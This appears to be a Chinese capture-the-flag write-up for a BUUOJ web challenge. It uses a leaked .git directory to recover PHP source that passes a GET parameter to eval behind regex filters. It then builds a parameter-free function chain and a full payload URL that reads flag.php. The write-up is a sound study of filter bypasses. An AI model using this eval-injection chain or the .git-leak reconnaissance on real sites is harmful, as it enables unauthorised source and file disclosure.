目录遍历发现/.git泄露
使用GitHack工具进行利用
https://github.com/lijiejie/GitHack
执行命令后会得到index.php
1 <?php 2 include "flag.php"; 3 echo "flag在哪里呢?<br>"; 4 if(isset($_GET['exp'])){ 5 if (!preg_match('/data://|filter://|php://|phar:///i', $_GET['exp'])) { 6 if(';' === preg_replace('/[a-z,_]+((?R)?)/', NULL, $_GET['exp'])) { 7 if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { 8 // echo $_GET['exp']; 9 @eval($_GET['exp']); 10 } 11 else{ 12 die("还差一点哦!"); 13 } 14 } 15 else{ 16 die("再好好想想!"); 17 } 18 } 19 else{ 20 die("还想读flag,臭弟弟!"); 21 } 22 } 23 // highlight_file(__FILE__); 24 ?>
没有看懂第6行代码的正则过滤,查看了其他大佬的wp,总结一下
可以看到第9行@eval($_GET['exp']);是一句话木马
第5行的if过滤的是常用伪协议
第6行的if,(?R)引用当前表达式,后面加了?递归调用,只能匹配通过无参数的函数,所以一个合法的表达式可以是a(b();),括号和字符组成的
第7行的if,正则匹配掉了et|na|info|dec|bin|hex|oct|pi|log关键字
通过目录遍历可以知道flag.php在当前目录下面,我们可以使用函数scandir(".")扫描当期目录,问题是如何构造a(b();)类型
我们可以通过current(localeconv())构造"."
var_dump(current(localeconv()));
运行结果
string(1) "."
使用如下语句便可以发现当期目录下的文件
var_dump(scandir(current(localeconv())));
然后我们可以使用readfile()或highlight_file()或show_source()读取flag。因为flag.php在倒数第二个位置,所以需要将数组翻转,使用next()指向下一个数组位置
payLoad:
http://1110e0a5-3530-43e1-a6f0-9cd89da115f4.node3.buuoj.cn/?exp=var_dump(show_source(next(array_reverse(scandir(current(localeconv()))))));